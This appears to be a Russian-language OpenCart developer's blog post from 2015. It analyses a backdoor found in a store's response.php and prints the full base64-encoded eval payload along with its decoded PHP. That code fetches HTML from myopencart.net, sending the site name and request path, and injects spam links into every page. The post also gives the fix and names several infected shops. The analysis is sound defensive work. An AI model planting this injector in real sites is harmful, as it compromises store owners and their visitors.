Приветствую всех владельцев интернет магазинов на базе Opencart. Взяв очередной проект на доработки в одном из заданий было указано, что сайт медленно работает, и в коде появились посторонние ссылки на сайт «myopencart.net«. Для начала, понимая проблему движка, а именно особенности его работы с большим числом товаров, я отключил систему подсчета его количества в категориях, которая работает очень медленно и практически никому не нужна. Но сайт также долго генерировал страницы, и ничего не поменялось.

График загрузки страниц в Opencart

После этого стало понятно, что дело вовсе не в подсчете товара, особенно если учитывать ссылки, которые были скрыты от пользователя, но были доступны для поисковых систем. Инспектируя исходный код страниц я увидел что перед Была ссылка вида

модули opencart бесплатно.

Даже закрывающего div нет :) Первое что я проверил — это был шаблон footer.tpl на наличие ссылки. Её там не оказалось, также поиск по всем файлам сайта ничего не дал. Значит, ссылка закодирована. Понимая структуру вывода готового html кода через файл system/library/ response.php а именно через функцию output я её и проверил, и обнаружил что в ней вместо стандартного вывода echo $ouput; прописана закодированная строка в base64:

$ouput = еvаl(basе64_decоde('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9teW9wZW5jYXJ0Lm5ldC9nb29nbGVjb2RlL2FwaS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));

Конечно, мне стало интересно, что в ней происходит. Первый онлайн декодер мне выдал расшифрованную функцию get_page и других пару строк, которые как раз и делают дыру в магазине:

function get_page($url){ $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9'; $ch=curl_init(); curl_setopt ($ch, CURLOPT_URL,$url ); curl_setopt($ch, CURLOPT_USERAGENT, $agent); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch,CURLOPT_VERBOSE,false); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $page=curl_exec($ch); $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); switch($httpcode){ case '200': return $page; break; case '404'; return false; break; } } if ($ftend = get_page('http://myopencart.net/googlecode/api/api.php?server='.$_SERVER['SERVER_NAME'].'&page='.$_SERVER['REQUEST_URI'])){ $find = array('', '', 'opencart.com', 'maxzon.ru', 'myopencart.ru', 'opencartforum.ru', 'opencart.ru', 'opencart.by'); $replace = array('', $ftend, 'myopencart.net', 'myopencart.net', 'myopencart.net', 'myopencart.net', 'myopencart.net', 'myopencart.net'); $ouput = str_replace($find, $replace, $ouput); ini_set('display_errors','off'); error_reporting(0); echo $ouput; }else { echo $ouput; }

Именно она формирует бекдор в магазине и прописывает ссылку на свой сайт. Для лечения сайта, замените закодированную строку на:

echo $ouput;

Или замените оригинальный файл response.php который можно скачать с официального репозитория или вытянуть с дистрибутива.

Почему все так происходит? Потому что многие люди любят халяву, то есть получить бесплатно то, что стоит денег. Вы думаете, что варезные сайты просто так дают скачать платные шаблоны, модули и другие инфопродукты бесплатно? Вы ошибаетесь! Скачав взломанный скрипт или сборку, вы делаете дыру в безопасности вашего интернет магазина. Не жалейте денег на покупку, в конце концов не так уж и много стоят скрипты, которые же будут приносить вам прибыль.

P.S. Ради интереса, я проверил сколько магазинов работают с дырами в безопасности, и оказалось что их хватает!

Количество внешних ссылок на сайт распространителя вируса

Смотрите их исходный код внизу.

http://emvil.com.ua/pnevmoinctrument http://ventilyatory.55m.ru/potolochnye-ventiljatory/ http://dk-store.ru.xsph.ru/index.php?route=information/information&information_id=7 (стоит rel='nofollow' оригинальная такая себе защита) http://www.360trade.ru/ http://mobmax.tmweb.ru/avto-elektronika-tehnika/videoregistratory/ http://www.globaldoors.ru/mezhkomnatnye-dveri/belorusskie-dveri/ и очень много других… 

Интересная статистика. А представьте, сколько вообще вот так вот работает магазинов. Так что вывод один – следите за безопасностью ваших интернет магазинов.

Если вы не уверены что с вашим сайтом все хорошо, напишите мне, я смогу быстро глянуть и проконсультировать.


30.05.2015 7891
Новости из этой категории
08.09.2019 3578
Приятно иметь дело с хорошими людьми. Небольшая история с автором фильтра filter vier Виталием
Небольшая предыстория. Я уже не занимаюсь заказами и работой по техническим заданиям, правками и т.п. Я сейчас полностью перешел на разработку своих модулей.Посмотреть мо..
14.04.2019 11422
Депозит монобанк- обзор и отзывы
Уважаемые посетители, это статья создана для жителей Украины, для гостей с других стран эта статья не будет актуальная. Банк работает только на территории УкраиныДля нача..
19.03.2019 5079
Google против добавления лишнего текста на страницы категорий интернет-магазинов
Сотрудник Google Джон Мюллер (John Mueller) предостерег владельцев сайтов электронной коммерции от добавления ненужного текста на страницы категорий.По его мнению, добавл..
18.03.2019 5325
Как сделать автоматические якори в тексте
Была одна интересная доработка недавно. Надо было создать автоматическое содержание статьи на основании его h1-h6 заголовков.Зачем это нужно и как выглядитЭто нужно что б..
30.12.2018 7316
Google page speed обновился - обзор обновленного сервиса от google
Добро пожаловать в обзор и небольшие наблюдения о трансформации сервиса от гугл - скорость загрузки страниц 'google page speed'. Для начала небольшое отступление.Еще давн..
Вся информация, представленная на сайте, является демонстрационной и оставляя информацию о своих персональных данных, вы добровольно делаете их общедоступными.
Рекомендуем использовать обезличенные данные. Мы используем файлы cookie для вашего удобства пользования сайтом и повышения качества рекомендаций. Подробнее